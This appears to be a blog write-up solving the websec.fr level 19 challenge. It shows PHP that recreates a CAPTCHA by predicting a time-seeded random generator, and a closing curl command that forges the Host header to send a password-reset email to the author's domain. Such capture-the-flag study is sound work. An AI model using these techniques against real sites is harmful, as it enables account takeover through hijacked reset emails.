websec.fr level19

At first glance, we're given a password reset form with a ridiculously hard CAPTCHA:

Screen-Shot-2018-05-02-at-6.24.57-pm

What we can do however is see the PHP which generates the CAPTCHA:

# code to generate the image..

for($i = 0; $i <= $width / 10.0; $i++) {
        $color = imagecolorallocate ($image, rand (0, 128), rand (0, 128), rand (0, 128));
        imagechar ($image, rand (1, 5), $i * rand (20, 40), rand (10, $height - 10), $_SESSION['captcha'][$i], $color);
        imagecolordeallocate ($image, $color);
    }

# more code to generate the image..

Tracing the source, we see that the CAPTCHA is generated on every page load:

if (isset ($_POST['captcha']) and isset ($_SESSION['captcha'])) {
    if ($_SESSION['captcha'] === $_POST['captcha']) {
        check_and_refresh_token();
        $email_addr = 'level19' . '@' . $_SERVER['HTTP_HOST'];  // less hassle if we move to another domain
        send_flag_by_email ($email_addr);
        $message = "<p class='alert alert-success'>Password recovery email sent.</p>";
    } else {
        $message = "<p class='alert alert-danger'>Invalid captcha</p>";
    }
} else {
    $_SESSION['captcha'] = generate_random_text (255 / 10.0);
}

Whats interesting to note is that the CAPTCHA isn't regenerated on each attempt. This means that if we really want to, we can brute force it. Looking at how the CAPTCHA is generated:

// https://secure.php.net/manual/en/function.srand.php#90215
srand (microtime (true));

function generate_random_text ($length) {
    $chars  = "abcdefghijklmnopqrstuvwxyz";
    $chars .= "ABCDEFGHIJKLMNOPQRSTUVWXYZ";
    $chars .= "1234567890";

    $text = '';
    for($i = 0; $i < $length; $i++) {
        $text .= $chars[rand () % strlen ($chars)];
    }
    return $text;
}

We see that the PRNG is seeded on page load with the current time generated through microtime, which returns the current epoch time to the millisecond. However, srand takes an integer, which discards the milliescond portion of microtime's return value:

$milli = microtime(true); # is: 1525250179.0055
$sec = (int)$milli; # is: 1525250179

srand($milli);
var_dump(rand()); # prints: 1030085937

srand($sec);
var_dump(rand()); # prints: 1030085937

So, if we can obtain the time used to seed the PRNG, we can obtain the text used to generate the CAPTCHA. Part of the HTTP standard specifies that the Date header should be sent with every request (https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Date), which means we have the rough time used to seed the PRNG. From here, its simple enough to generate the CAPTCHA used:

$base = 1524218440; # Sample time used

function generate_random_text ($length) {
    $chars  = "abcdefghijklmnopqrstuvwxyz";
    $chars .= "ABCDEFGHIJKLMNOPQRSTUVWXYZ";
    $chars .= "1234567890";

    $text = '';
    for($i = 0; $i < $length; $i++) {
        $text .= $chars[rand () % strlen ($chars)];
    }
    return $text;
}

srand ((int) $base);

print "Header: " . generate_random_text(32);
print "\n";
print "Captcha: " . generate_random_text (255 / 10.0);
print "\n";

Now, referring back to the reset page, we see that the email address is generated through the $_SERVER['HTTP_HOST'] header. This field is user controlled, and this we can obtain a reset email through setting the Host header manually through curl:

curl --data "<payload here>" --header "Host: carey.li" 188.166.22.76 
Show Comments

Get the latest posts delivered right to your inbox.